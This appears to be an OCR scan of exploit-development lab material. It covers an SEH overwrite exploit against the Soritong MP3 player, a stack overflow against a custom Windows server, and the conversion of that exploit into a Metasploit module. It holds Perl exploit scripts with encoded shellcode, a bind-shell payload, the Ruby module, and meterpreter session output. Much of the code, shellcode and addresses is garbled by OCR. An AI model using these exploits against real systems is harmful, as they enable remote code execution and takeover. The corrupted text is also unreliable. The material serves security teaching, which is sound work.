"CmaCm1Cm2Cm3Cm4CmsCmeCmn7Cm8CmeCNaCn1CN2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co8ColCo2Co3Co4ConCo";

open {myfile,">ui.txt");
print myfile $junk;

Create the ui.txt file.

Open windbg, open the soritong.exe executable. It will start paused, so launch it. The debugger will catch the

first chance exception. Don’t let it run further allowing the applicaiton to catch the exception, as it would
change the entire stack layout. Just keep the debugger paused and look at the seh chain :

©:000> lexchailn
0012fde4: <Unloaded ud.drv>+41367440 (41367441)
Invalid exception stack at 35744134

The SEH handler was overwritten with 41367441.

Reverse 41367441 (little endian) => 41 74 36 41, which is hex for At6A. You can use this convlerter if you
don’t know these by heart: http://www.dolcevie.com/js/converter.html. This corresponds with offset 588. This

has taught us two things :

- The SE Handler is overwritten after 588 bytes

- The Pointer to the next SEH is overwritten after 588-4 bytes = 584 bytes. This location is 0x0012{d64 (as

shown at the !exchain output)

We know that our shellcode sits right after overwriting the SE Handler. So the shellcode must be placed at

0012fd64+4bytes+4bytes
[Junk][next SEH][SEH][Shellcode]

(next SEH is placed at 0x0012£d64)

Goal : The exploit triggers an exception, goes to SEH, which will trigger another exception (pop pop ret). This
will make the flow jump back to next SEH. So all we need to tell “next SEH” is “jump over the next couple of
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bytes and you’ll end up in the shellcode”. 6 bytes (or more, if you start the shellcode with a bunch of NOPs)
will do just fine.

The opcode for a short jump is eb, followed by the jump distance. In other words, a short jump of 6 bytes
corresponds with opcode ¢b 06. We need to fill 4 bytes, so we must add 2 NOP’s to fill the 4 byte space. So the
next SEH field must be overwritten with Oxeb,0x06,0x90,0x90

How exactly does the pop pop ret function when working with SEH based exploits?

When an exception occurs, the exception dispatcher creates its own stack frame. It will push elements from the
EH Handler on to the newly created stack (as part of a function prologue). One of the fields in the EH Structure
is the EstablisherFrame. This field points to the address of the exception registration record (the next SEH) that
was pushed onto the program stack. This same address is also located at ESP+8 when the handler is called.
Now if we overwrite the handler with the address of a pop pop ret sequence :

« The first pop will take off 4 bytes from the stack

» The second pop will take another 4 bytes from the stack

« The ret will take the current value from the top of ESP ( = the address of the next SEH, which was at
ESP+8, but because of the 2 pop’s now sits at the top of the stack) and puts that in EIP,

We have overwritten the next SEH with some basic jumpcode (instead of an address), so the code gets
executed.

In fact, the next SEH field can be considered as the first part of our shellcode (jumpcode).

Building the exploit — putting all pieces together

After having found the important offsets, we only need the the address of a pop pop ret before we can build the
exploit.

When launching Soritong MP3 player in windbg, we can see the list of loaded modules :

ModlLoad: 7639080 763adece
ModlLoad: 773deBes 774d300¢
ModlLoad: 74722000 7476c00q
Modload: 755c8000 75500000
Modioad: 72d20@6@ 72d298600
ModLoad: 77920000 77al3e@

C:AWINDOWS\system32\IMM32,DLL
C:\WINDOWS\WinSx5\x86_Microsoft...d4ce83\comgtl32.d1l
CAWINDOWS\system32\MSCTF.dl1
C:\WINDOWS\system32\msctfime, ime
C:\WINDOWS\system32\wdmaud.drv
CAWINDOWS\system32\setupapi.dli
Modl.oad: 76c30000 76cS5e088  C:\WINDOWS\system32\WINTRUST.d1l
ModLoad: 77a80009 77b15808  C:\WINDOWS\system32\CRYPT22.d1l
ModlLoad: 77b2@08@ 77b32006  C:\WINDOWS\system32\MSASNI.d1l
ModLoad: 7690200 76cb8008  C:\WINDOWS\system32\IMAGEHLP.dil
Modioad: 72320002 72d29808  C:\WINDOWS\system32\wdmaud.drv
ModlLoad: 77520080 77313088  C:\WINDOWS\system32\setupapi.dli
ModLoad: 72d19606 72d1860@  C:\WINDOWS\system3Z\msacm3Z,drv
ModlLoad: 77bedoo0 77bf5008  C:\WINDOWS\system32\MSACM32.d1ll
ModLoad: 77hdeéees 77bd76ee  C:\WINDOWS\system32\midimap.dll
ModLoad: 1¢@e0eee 10094060  C:\Program Files\SeriTong\Player.dll
ModLoad: 42160000 42129009 CAWINDOWS A system32\wnaudsdk ., dl1
ModLoad: 901196008 €ef510e00  C:\WINDOWS\system32\DRMClien.DLL
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ModLoad:
Modioad:
Modtoad:
ModlLoad:
ModLoad:
ModLoad:

S5bc60ee Sbcaeedo
71adeegs 71adoeen
71ab00ed 7lac7eee
71aa3b@es 7lzz8008

76eboeee 76edfoen
76080000 76c8e000

C:\WINDOWS\system32\strmdll.dll
SAWINDOWS\system32\WS0CK32.d11
AWINDOWS\system32\WS2_32.dl1
:\WINDOWS\system3Z\WS2HELP.d1]
:\WINDOWS\system32\TAPI32.dll
AWINDOWS\system32\rtutils.dll

C
C
C
C
C

We are specifially interested in application specific dlls, so let’s find a pop pop ret in that dll. Using
findjmp.exe, we can look into that dll and look for pop pop ret sequences (e.g. look for pop edi)

Any of the following addresses should do, as long as it does not contain null bytes

C:\Program Files\SoriTongsc:\findjmp\Ffindjmp.exe Player.dll edi | grep pop | grep -v "600"

Ox1003124F8 pop
Bx1e0126F8 pop
ox1e01874F pop
Ox1e910CAB pop
ox100116FD pop
2x106812630 pop
8x1009127F8 pop
2x1081281F pop
©x18612984 pop
@x100120DD pop
0x1@012E17 pop
Ox16812E5E pop
Ox16812E78 pop
Ox10012F56 pep
8x16013382 pop
0x18813878 pop
Bx18B8128F7 pop
©x10614448 pop
9x10814475 pop
ax1201449% pop
Ox100144BF pop
ox1001608C pop
ox1e6173B8B pop
ox1e0173C2 pop
ax1e8173C9 pop
2x1801824C pop
axleels2oe pop
©x10018298B pop
2x10818DES pop
Bx10818FE7 pop
6x10019267 pop
Bx108192€E pop
B8x10081936F pop
8x186193BD pop
9x166193C8 pop
Ox180193FF pop
0x1601941F pop
0x180819470 pop
@x102184CD pop
0x168194D2 pop
Ox12@1iB7ES pop

edi - pop - retbis

edi
edi
edi
edi
edi
adi
edi
edi
edi
edi
edi
edi
edi
edi
edi
edi
edi
edi
edi
edi
edi
edi
edi
edi
adi
edi
edi
edi
edi
aedi
edi
edi
edi
edi
edi
edi
edi
edi
edi
edi

pap
pep
aoep
pep
pop
pop
pop
pop
pop
pop
pop
pop
pop
pop
pop
pop
pop
pop
pep
pop
pop
pep
pep
pep
pop
pop
pap
pop
pop
pop
pap
pop
pop
pop
pop
pop
pop
pop
pop
pap

ret
retbis
ret
ret
ret
ret
ret
ret

ret

ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
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9x12018883 pop edi - pop - ret

9x18€1BDBA pop edi - pop - ret
9x1061BDDC pop edi - pop - ret
9x1001BE3C . pop edi - pop -~ ret
@x1061086D pop edi - pop - ret
Ox1201D8F5 pop edi - pop - ret
ox1eelEac7 pop edi ~ pop - ret
Bx1001E812 pop edi - pop - ret

Let’s say we will use 0x1008de8, which corresponds with

8:00¢> u 10818de8
Player!Player Action+8x9528:

19018de8 SF pop edi
16e18deg Se pop esi
10018dea 3 ret

(You should be able to use any of the addresses)

Note : as you can see above, findjmp requires you to specify a register. It may be easier to use msfpescan from
Metasploit (simply run msfpescan against the dli, with parameter -p (look for pop pop ret) and output
everything to file. msfpescan does not require you to specify a register, it will simply get all combinations. ..
Then open the file & you’ll see all address. Alternatively you can use memdump to dump all process memory to
a folder, and then use msfpescan -M <folder> -p to look for all pop pop ret combinations from memory.

The exploit payload must look like this

[584 characters][@xeb,9x86,0x90,0x90][06x12018de8] [NOPs][Shellcode]
Junk next SEH current SEH

In fact, most typical SEH exploits will look like this :

Buffer Ishort jump to stagc‘Ewipop/pop/réz address stége 2 (shellcode)
padding I E
Buffer next SEH SEH

In order to locate the shellcode (which *should* be right after SEH), you can replace the 4 bytes at “next SEH”
with breakpoints. That will allow you to inspect the registers. An example :

ny S$junk = “A" x 584;

my $nextSEHoverwrite = "\xcclxccxceixce"; #breakpoint

my $SEHoverwrite = pack('V',0x1001E812); #pop pop ret from player.dil
my Sshellcode = "1ABCDEFCGHIJKLMZABCORFGHIJKLMIABCDEFGHIJKLMY

my $junk2 = "\x90" x 1000;

cpen(myfile, '>ui.txt');
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print myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcede. $junks;

(elc.fbe): Access violation - code ¢0000005 (first chance)

First chance exceptions are reported before any excepticon handling.

This exception may be expected and handled.

2ax=00130000 ebx=00000003 ecx=ffffffa0 edx=0000009C esi=0017e504 edi=0012f£d54
eip=00422e33 esp=0012dald ebp=0012£fd38 iopl=0 nv up ei ng nz ac pe nc
cs=001b 8s8=0023 ds=0023 es=0023 <£s=003b gs=0000 efl=000102%¢
#F* WARNING: Unable to verify checksum for SoriTong.exe

*x% FRROR: Symbol file could net be found. Defaulted to export symbols for Sorilong.exe
SoriTong!TmC13_ 5+0x3ea3:

00422233 8810 mov byte ptr [eax],dl ds:0023:00130000=41
0:000> g

{(elc.fbe): Break instruction exception - code 80000003 (first chance)
2ax=00000000 ebx=00000000 ecx=1001e812 edx=7c9032bc esi=0012d72¢c edi=7c¢9%032a8

eip=00121fd6d esp=0012d650 ebp=0012d664 iopl=0 nv up ei pl zr na pe nc
¢cs=001k s$s=0023 ds=0023 es=0023 £35=003b gs=0000 ef1=00000246
<Unloaded_ud.drv>+0x12£d63:

0012£fd6d cc int 3

So, after passing on the first exception to the application, the application has stopped because of the breakpoints
at nSEH.

EIP currently points at the first byte at nSEH, so you should be able to see the shellcode about § bytes (4 bytes
for nSEH, and 4 bytes for SEH) further down :

0:000> d eip

0012fd64 c¢c ¢c cc cc 12 e8 01 10-31 41 42 43 44 45 46 47 ........ 1ABCDEFG
0012£d74 48 49 4d& 4b 4e 4 32 41-42 43 44 45 46 47 48 49 HIJKLMZABCDEFGHI
0012fd84 4da 4b 4c 4¢ 33 41 472 43-44 45 46 47 44 49 4a 4b  JKLM3ABCDEFGHIJK

0012£d94 4c 44 90 90 9C 20 90 90-90 90 90 90 90 90 80 90 LM..............
0012fdad 9C 90 90 90 90 80 90 80-90 90 90 90 80 90 90 90 .......... .. ...,
0012fdb4 90 90 90 90 20 80 90 90-90 90 80 80 80 90 90 90 ... ... ...
0012fdcd4 90 90 S0 90 90 S0 90 90-%0 90 90 90 920 90 90 90 ...... ... . ...,
0012fdd4 90 90 ©0 90 90 ©0 90 90-90 90 9C S0 90 90 90 90 ........ ... ....

Perfect, the shellcode is visible and starts exactly where we had expected. WE have used a short string to test
the shellcode, it may be a good idea to use a longer string (just to verify that there are no “holes” in the
shellcode anywhere). If the shellcode starts at an offset of where it should start, then you’ll need to modify the
jumpcode (at nSEH) so it would jump further.

Now we are ready to build the exploit with real shellcode (and replace the breakpoints at nSEH again with the
jumpcode)

# Exploit for Seritong MP2 player
#

my $junk = "A" x 584;
my $nextSEHoverwrite = “\xeb\x@6\x96\x90"; #jump & bytes
my $SEHoverwrite = pack('V',@x1001E812); #pop pop ret from player.dll

# win32~exec'— EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http:
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INSTITUTE

"AXeb\XB83\X55\xeb \ x5\ Xe8 \ X F A\ F FAXFFAXFF\ x4 F L x40\ X490\ x40\ x40\ x40" .
"AxA9AKS 1IN KGR\ XE6 AX54\ k58X 36\ X33\ K30 \X56 \ x58\ X34\ x4 1 \X3O\ k42 \X36"
"\x48\x48\x30\x42\ X33 %38\ ¥42 \ x4 3\ x56\X5 B\ X324 X422\ %44\ x4 2 \ x4 8\ k34",
"\x41\XB2\x41\x&&\x36\x4l\x44\x54\x42\x44\x51\x42\x3@\x41\x44\x41".
"Ax56AX58\X34\X5a\x38\x42 \ k44 \ x4a \ x4\ x4d\ xde \x4F\x4a\Xde \ X456\ 44" .
"AxA24\X30\x42\ x50\ x42\ X380\ x4b\ X 38\ x45\X54 \ x4e \¥33\x4b\X58 \ xde \x37" .
"\x45\x59\x4a\x47\x41\x36\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48".
"AXAFAXE5\ 42\ X3 2\ X4 1\ X580\ X4b \ x4e \ X428\ X34\ xAb\ X38\ X456\ x43\x4b\ x48" .
A4 1AX30\X50 x4 \ 41\ X43\ X4 2\ X4 C \XEO\ K30\ x4 e\ x4a \ kA6 \ K48\ x4 2\ xdcC" .
"A\xAE\X37\xA7AKEO\KAL\KAC A XA\ x4 C \x4d\X58\ x4 1\ X320\ 44\ x4\ xdb\xde ",
"AXABAXAF\XAb\ A3 \X46\ X35\ X46\ X4 2\ X46\ X 3B\ XA5\X47\ k45 \ xde \xdh\ x48" .
"AxAFAX35\X46\X42\ X4 L1\ X58\x4b \ xde \ X4B\x46 \ x4b \ x58 \ xde \x 30\ x4b\ x54" .
"AxADAXSB\X4FA\X55 x40 \X 31\ XA1\ x5O\ x4b\ x4e \ x4b\ X558\ xde \x 31\ x4b\X48" .
"A\x41\x30\x4b\x4e\ X459\ x38\ x4e \ X45\x46\ x5 2 \ &6\ X308\ x43 \ x4\ x41\x43 ",
"Ax42\X4C\X46\ 46\ X4\ x4B\ 42\ X54\ x4 2\ 53\ x4 5\ x38\X42 \ x4 ¢ \x4a\x57" .
"\xde\x30\x4b\x48\x42\ K54 \ x40 \x38\ x4b\ x48\ X427\ X3 7\ x4e\x51 \x4d\ x4a"
“\x4b\X58\x4a\x56\X4a\x58\ 4D\ x4e \ 49\ X 30\ x4b\ x38\ x4 2 \x 38 \x4 2\ x4b"
"Ax42\HEBAXA2\X3B\ x42\X50\ x4\ K58\ x4 3\ X46 \ x4e \x43\ x4F \ X35 \x41\ k53",
"Ax48\XATAX42\X56\X48\X45 \ k49 \ X 38\ x4a \ }AT \x43\X48\x42\ x4\ xdb\x37".
"Ax42\X35\X4a\X46\ X4 2\ XAF \ XAC\ x4 B\ x46 \ X580\ x4F\x45 \ xda\x46 \ xda\x49" .
"AREOMAF XA CANEBAKSA\X BB\ XA T\ XA 5\ HAF \ x4 F\ x4 7 \ x40\ x43\X36 \ 141\ x46" ,
"AXAe\X36\x43\x46\x42\ x50 \X53";

my $junk2 = "\x90" x 1660;
open(myfile, '>ui.txt’);

print myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode, $junk2;

Create the ui.txt file and open soritong.exe directly (not from the debugger this time)

pwned !

Now let’s see what happened under the hood. Put a breakpoint at the beginning of the shellcode and run the

~ soritong.exe application from windbg again :

First chance exception :
The stack (ESP) points at 0x0012dal4

eax=00130002 ebx~pB0OORO3 ecx=Ffffffo9 edx=COOB0R%0 esi=0017edec edi=0R12fds4
eip=08422e33 esp=2012dald ebp=0@12fd38 iopl=¢ nv up ei ng nz ac pe nc
c$=001b $5=0823 ds=00823 es=0023 f3=003b gs=0000 efl=000162%6
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2:000> lexchain

9812fd64: *** WARNING: Unable to verify checksum for C:\Program Files\SoriTong\Player.dll

#¥% ERROR: Symbol file could not be found. Defaulted to export symbols for {:\Program Files\SoriTong\Player.dll -
PlayeriPlayer_Action+3528 (10618de8)

Invalid exception stack at 9509086eb

Note that the SEH Handler points at 10018de® (which is the pop pop ret). When we allow the application to run
again, the pop pop ret will execute and will trigger another exception.

When that happens, the “BE 06 90 90” code will be executed (the next SEH) and EIP will point at 0012{d6c,
which 1s our shellcode :

@:000> g
(foc.b88}: Break instruction exception - code 82008863 {(first chance)
£ax=00000000 ecbx=00000000 ecx=10018de8 edx=7c9032bc esi=@B12d72c¢ edi=7¢5032a8

eip=0012fd6c esp=0812d650 ebp=0012d664 iopl=0 nv up ei pi zr na pe nc
cs=001b 55=0023 ds=P823 es5=0023 f5=003b gs=0060 efl=00000246
<tnloaded_ud.drv>+8x12fd6b:

B@l2fdéc cc int 3

@:8008> u 8012fde4
<Unleoaded_ud.drv>+0x12fd63:

0012fded ebée jmp <Unloaded_ud.drv>+0x12fdeb (@@12fdéc)
0012fdee 99 nop

0012fde7 99 nop

9:008> d 0012fded

pol12fdee 41 41 41 41 - . »@8 8d 01 19 cC eb 83 39 AAAA........... Y
p012fd7¢ eb B85 e8 f8 ff ff ff 4T-49 49 49 49 49 49 51 53 ....... OIIIIIIZ

8@12fd8@ 56 54 58 36 33 30 56 58-34 41 30 42 36 48 48 30 VIX630VX4ABBGHHO
0012fd98 42 33 36 42 43 56 58 32-42 44 42 48 34 41 32 4% B3OBCVX2BDBHAA2A
6e12fdae 44 3@ 41 44 54 42 44 51-42 30 41 44 41 56 58 34 DBRADTBDQBOBADAVX4A
e012fdbe  5a 38 42 44 4a 4f 4d de-4f 4a de 46 44 42 30 42  Z8BDIOMNOINFDBOB
pe12fdce 50 42 30 4b 38745 54 4e-33 4b 58 4e 37 45 50 4a PBOKBETN3KXN7EPT
0012fdde 47 41 36 4F de 4b 38 4f-44 4a 41 4b 48 4 35 42 GABONKBODIAKHOSB

o 414141 41 : last characters of buffer
oot next SEH, do a 6byte jump
« ¢88d 0110 : current SE Handler (pop pop ret, which will trigger the next exception, making the code go
to the next SEH pointer and run “eb 06 90 907)
+ cceb 03 59 : begin of shellcode (WE added a \xcc which is the breakpoint), at address 0x0012{d6c
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Lab #3
Weaponizing Exploits Into Metasploit Modules
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In the first two labs, we have discussed some common vulnerabilities that can lead to two types of exploits :
stack based buffer overflows (with direct EIP overwrite), and stack based buffer overflows that take advantage
of SEH chains. In these examples, we have used perl to demonstrate how to build a working exploit.

Obviously, writing exploits is not limited to perl only. You can guess that every programming language coutd
be used to write exploits... so you can just pick the one that you are most familiar with. (python, ¢, ct++, C#,

ete)

Despite the fact that these custom written exploits will work just fine, it may be nice to be able to include your
own exploits in the metasploit framework in order to take advantage of some of the unique metasploit features.

So today, you are going to learn how exploits can be written as a metasploit module.

Metasploit modules are writting in ruby. Even if you don’t know a lot about ruby, you should still be able to
write a metasploit exploit module based on this lab and the existing exploits available in metasploit.

Metasploit exploit module structure

A typical metasploit exploit module consists of the following components :

» header and some dependencies
o Some comments about the exploit module
o require ‘msf/core’
o class definition
+ includes
e “def” definitions :
o initialize
o check (optional)
o exploit

You can put comments in your metasploit module by using the # character. That’s all we need to know for
now, let’s look at the steps to build a metasploit exploit module.

Case study : building an exploit for a simple vulnerable server

We’ll use the following vulnerable server code (written in C) to demonstrate the building process :

finclude <iostream.h>
#include <winsock.h>
#include <windows.h>

#pragma comment (1ib, " ")

#define S5 ERRCR 1
#define S5_CK O

void pr( char *str)

{
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vold sFRrror{char *str)

{
MessageBox (NULL, stx, ™ " MB OK}:
WSACleanup () :

1

int main(int argc, char **argv)

{

WORD sockVersion;
WSADATA wsaData;

int rval;
char Message[5000]="";
char bUf[2000]m"";

u_short LocalPert;
LocalPort = 200;

sockVersion = MAKEWORD {1, 1),
WSAStartup (sockVersion, &wsaData);

SOCKET serverSocket = socket (AF_TNEYT, SOCK STREAM, 0);

if (serverSocket == INVALID SOCKET)
{
skError (" 'y ;
return 55 _ERROR;

}

SOCKADDR _IN sin;

gin.sin_family = PF_INET:
gin.sin_port = htons (LocalPort);
sin.sin_addr.s_addr = INADDR ANY;

rVal = bind(serverSocket, (LPSOCKADDR) &sin, sizeofi(sin));
if{rval == SOCKET_ERROR)
{

sError (" "y,

WSACleanup (),

return 55 _ERROR;

rVal = listen (serverSocket, 10);
if(rval == SOCKET_ERROR)
{
sError (" "y
WSACleanup () ;
return $5_ERROR;
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SOCEKEET clientSocket;
clientSocket = accept{serverSocket, NULL, NULL);

if({clientSocket == INVALID SOCKET)
{
sError (" "y ;
WSACleanup(};

raturn 55 _ERROR;
}

int bytesRecv = SCCKET ERROR;

while{ bytesRecv == SOCKET ERROR )}

{
bytesRecv = recv( clientSccket, Message, 5000, 0 );
if { bytesRecv == il bytesRecv == WSAECONNRESET )
{

printf( " "y
break;

pr (Message) ;

closesocket (clientSocket) ;
closesocket {serverSocket} ;
WSACleanup ()

rekturn $8_OK;
}

Compile the code and run it on a Windows 2003 server R2 with SP2. (WE have used lcc-win32 to compile the
code)

When you send 1000 bytes to the server, the server will crash.,

The following peirl script demonstrates the crash :

use strict;
use Socket;

my Sjunk = " "ox1000;

# initialize host and port

my S$host = shift || 'localhost';
my $port = shift || 200;

my S$proto = getprotobyname ("tep');

# get the port address
my Siaddr = inet aton($host);
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nmy Spaddr = sockaddr in($port, 3$iaddr);

print " t;

# create the socket, connact to-the port

socket (SOCKET, PEF_INET, SOCK _STREAM, Sproto) or dis "
pring "

connact (SOCKET, S$paddr) or die "

print * ";

print SCCKET $junk.™ ";

pzint " ;

close SOCKET or die ™ *y

The vulnerable server dies, and EIP gets overwritten with A’s

0:001> ¢

(¢00.del) : Access violation - code c0000005 (first chance)

First chance exceptions are reported befcore any exception handling.

This exception may be expected and handled.

eax=0012e05¢c ebx=7{{d6000 ecx=00000000 edx=0012e446 esi=0040bdec edi=0012ebed

2ip=41414141 esp=0012e258 ebp=41414141 iopl=) nv up &i pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00010212
41414141 27 ??7?

Using a metasploit pattern, we determine that the offset to EIP overwrite is at 504 bytes. So we’ll build a new
crash seript to verify the offset and see the contents of the registers when the overflow oceurs :

use strict;
use Socket;

my Stotalbuffer=1000;

my $ijunk = v " x 504;
my Seipoverwrite = " "ox o 4;
my $junk2 = " " x {Stotalbuffer-length($junk.Seipoverwrite});

# initialize host and port
my S$host = shift || "localhost!';
my Sport = shift || 200;

my $proto = getprotobyname ('tcep');

# get the port address

my $iaddr = inet aton ($host);

my 3paddr = sockaddr_in{$port, $iaddr);
print " n’.

# create the socket, connect to the port

socket (SOCKET, PF_INET, SOCK_STREAM, Sproto) or die " ";
prlnt " rr;

connect {SQCKET, Spaddr) or die ™ ",
print * "

print SOCKET $junk.S$eipoverwrite.Sjunk2." *;
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print ¢ ;

closa SOCKET or die " "

After sending 504 A’s, 4 B’s and a bunch of C’s, we can see the following register and stack contents :

0:001> ¢

{(ed0.eb0): Access violation - code ¢0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=0012e05¢c ebx=7ffdeCl0 ecx=00000000 edx=0012e446 esi=0040bdec edi=001Zebel

elp=42424242 esp=0012e258 ebp=41414141 iopl=0 nv up el pl nz ac po nc
cs=001b ss5=0023 ds=0023 es5=0023 {s5=003b gs=0000 efl=00010212
42424242 7?7 277

0:000> @ esp

0012258 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCeccececee
0012268 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCLcceeeeceee
0012278 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCecceeeeecee
0012e288 432 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCLLcceeceece
00122298 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCceececceeece
0012e2a8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCccececeeece
0012e2b8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCLcececee
0012e2c8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCcceececccee

Increase the junk size to see how much space you have available for your shellcode. This 1s important because
you will need to specify this parameter in the metasploit module.

Change the $totalbuffer value to 2000, overflow still works as expected, and the contents of esp indicate that we
have been able to fill memory with C’s up to esp+5d3 (1491 bytes). That will be our shellcode space (more or

less)

All we need is to overwrite EIP with jmp esp (or call esp, or something similar), and put our shellcode instead
of the C’s and we should be fine.

Using findjmp, we have found a working address for our Windows 2003 server :

findjmp.exe wsZ2 32.d1l esp

Reg: esp
Scanning ws2 32.dll for code usable with the esp register
0x71C02B67 push esp - ret

Finished Scanning wsZ 32.dll {or code usable with the esp register
Found 1 usable addresses

After doing some tests with shellcode, we can use the following conclusions to build the final exploits

o exclude Oxff from the shellcode
« putsome nop’s before the shellcode

Our final exploit { in perl, with a shell bound to tep 5555 ) looks like this :
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#

print " ";

print " e

use strict;

use Socket;

my $junk = " "ox 504;

#imp esp (from ws2 32.dl1)

my Selpoverwrite = pack('V',0x71C02B67);

#add some NOP's

my $shellcode=" " ox 50;

# windows/shell bind tecp - 702 bytes

# http:

# Encoder: x86/alpha upper

# EXITFUNC=seh, LPORT=555%, RHOST=

$shellcode=$shellcoda." . : "
i
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Rr ",
[

# initialize host and port
my Shost = g Il 'leocalhost';
my Sport = |} 200;

my $proto = gatprotobyname('tcp');

# get the port address
my S$iaddr = inet aton($host);

my Spaddr = Sockgddr_in(Sport, Siaddr};

print " . . ";

# create the socket, connect to the port

socket (SOCKET, PF_INET, SCCK STREAM, $prote) or die " "
print " "

connect (SOCKET, S$paddr) or die " "

pring " - . "

print SOCKET $junk.Seipoverwrite.$shellcede.™ ;

pring " ",

print " "
system (" "y

close SOCKET or die ™ "

Exploit output :

root@backtracks:/tmp# perl sploit.pl 192.168.24.3 200

[+] Setting up socket

[+] Connecting to 19%2.168.24.3 on port 200

[+] Sending payload

[+] Payload sent

[+] Attempting to telnet to 192.168.24.3 on pert 5555...
Trying 182.168.24.3...

Connected to 192.168.24.3.

Escape character is "")'.

Microsoft Windows ([Version 5.2.3790)

{C) Copyright 1985~2003 Microsoft Corp.

C:\vulnserver\lccrwhoami
whoami
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win2003-01\administrator

The most important parameters that can be taken from this exploit are

» offset to ret (eip overwrite) is 504

+ windows 2003 R2 SP2 (English) jump address is 0x71C02B67
+ shellcode should not contain 0%00 or Oxff

+ shellcode can be more or less 1400 bytes

Futhermore, after running the same tests against a Windows XP SP3 (English), we determine that the offset is
the same, but the jmp address must be changed (to for example 0x7C874413). We’ll build a metasploit module

that will allow you to select one of these 2 targets, and will use the correct jmp address.

Converting the exploit to metasploit

First, you need to determine what type your exploit will be, because that will determine the place within the
metasploit folder structure where the exploit will be saved. If your exploit is targetting a windows based fip
server, it would need to be placed under the windows fip server exploits.

Metasploit modules are saved in the framework3xx folder structure, under /modules/exploits. In that Jolder, the
exploits are broken down into operating systems first, and then services.

Our server runs on windows, so we’ll put it under windows. The windows fodler contains a number of folders
already (from antivirus to wins), include a “misc” folder. We’ll put our exploit under “misc” (or we could put it

under telnet) because it does not really belong to any of the other types.

We'll create our metasploit module under %metasploit%/modules/windows/misc :

root@backtrackd:/# cd /pentest/exploits/framework3/modules/exploits/windows/misc
root@backtrackd:/pentest/enploits/framework3/modules/exploits/windows/misct vi
custom_vulnserver.rb ‘

require 'msf/core’
class Metasploit3 < Msf: :Exploit::Remote

include Msf::Exploit::Remocte::Tcp

def initialize(info = {})
super (update info(info,
"Name' => 'Custem vulnerable server stack overflow!,
'Description’ => %g

This module exploits a stack overflow in a
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custom vulnerable server.
b
‘Author’ => [ '"InfoSec' ],
'Yersion' => 'SRevision: 99929 $°,
'‘DefaultOptions’ =>
{
'EXITFUNC' => 'process’,
V.
'Payload! =>
{
'Space’ => 1400,
'BadChars' => " ",
Fr
'"Platform’ => Twin',

'Targets' =
{
{'"Windows XP SP3 En',
{ "Ret' => (0x7c874413, 'Offset' => 504 } 1},
{'Windows 2002 Server R2 SP2',
{ 'Ret' => (0x71c02bé7, 'Offset' => 504 } 1,
)},
‘DefaultTarget' => 0,

"Privileged’ => false
Y

register options({
[
Opt::RPORT(200)
1, self.class)
end

det exploit
connect

junk = make nops(target{'Ofiset'])
sploit = junk + f[target.ret].pack('V') + make nops{50) + paylcad.encoded
sock.put {sploit)

handler
disconnect

end

end

We see the following components :

«+ first, put “require msf/core”, which will be valid for all metasploit exploits
» define the class. In our case, it is a remote exploit.
» Next, set exploit information and exploit definitions :
o include : in our case, it is a plain tcp connection, so we use Msfi:Exploit::Remote:: Tcp
= Metasploit has handlers for http, fip, etc... (which will help you building exploits faster
because you don’t have to write the entire conversation yourself)
o Information :
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* Payload : define the length and badchars (0x00 and 0x{f in our case)
= Define the targets, and define target-specific settings such as return address, offset, etc
o Exploit
= connect (which will set up the connection to the remote port)
« build the buffer
= junk (nops, with size of offset)
» add the return address, more nops, and then the encoded payload
= write the buffer to the connection
= handle the exploit
« disconnect

That’s it
Now open msfconsole. If there is an error in your script, you will see information about the error while
msfconsole loads. If msfconsole was already loaded, you’ll have to close it again before you can use this new

module (or before you can use updated module if you have made a change)

Test the exploit

Test 1 : Windows XP SP3

root@backtrackd:/pentest/exploits/framework3

i )

T A S AR N R VR R W R
I l A { [N N N Pl
b I\ IN__IN___ W/ ./ I N

ml
=[ msf v3.3-dev
+ -— —--=[ 385 exploits - 239 paylcads
+ -= --=[ 20 encoders - 7 nops
=[ 187 aux

msf > use windows/misc/custem vulnserver
msf exploit{custom vulnserver) > show options

Module cptions:

Name Current Setting Required Description

RHOST yes The target address
RPORT 200 yes The target port

Exploit target:

Id Name

6_ &;;éows XP SP3 En
msf exploit{custom_vulnserver) » set rhost 192.168.24.10
rhost => 192.168.24.10

msf exploit(custom vulnserver) > show targets

Exploit targets:
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Id Name

0 Windows XP SP3 En
1 Windows 2003 Server RZ 8SP2

msf exploit(custom vulnserver) > set target 0

target => 0

msf exploit {custom vulnserver) > set payload windows/meterpreter/bind tcp
payload => windows/meterpreter/bind tcp
msf exploit {custom vulnserver} > show options

Name Current Setting Required Description

RHOST 192.168.24.10 yes The target address

RPORT 200

yes The target port

Paylcocad options (windows/meterpreter/bind tcp):

Name
EXITFUNC
LPORT
REHOST

Current Setting Reqguired Description

process yes Exit technigque: seh, thread, process
4444 ves The local port
192.168.24.10 no The target address

Exploit target:

Id Name

0 Windows XP SP3 En

msf exploit (custom vulnserver) > exploit

[*] Started bind handler

f*] Transmitting intermediate stager for over-sized stage... {216 bytes)

[*] Sending stage (718336 bytes)

{*] Meterpreter session 1 opened (152.168.24.1:42150 -> 192.168.24.1C:4444)

meterpreter > sysinfo
Computer: SPLOITBUILDER]
CS : Windows XP {(Build 2600, Service Pack 3).

Test 2 : Windows 2003 Server R2 §P2

(continued from exploit to XP) :

meterpreter >
meterpreter > gulit

[*} Meterpreter session 1 closed.
nsf exploit (custom vulnserver) > set rhost 192.168.24.3

rhost => 192.168.24.3
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msf exploit{custom vulnserver) > set target 1
target => 1
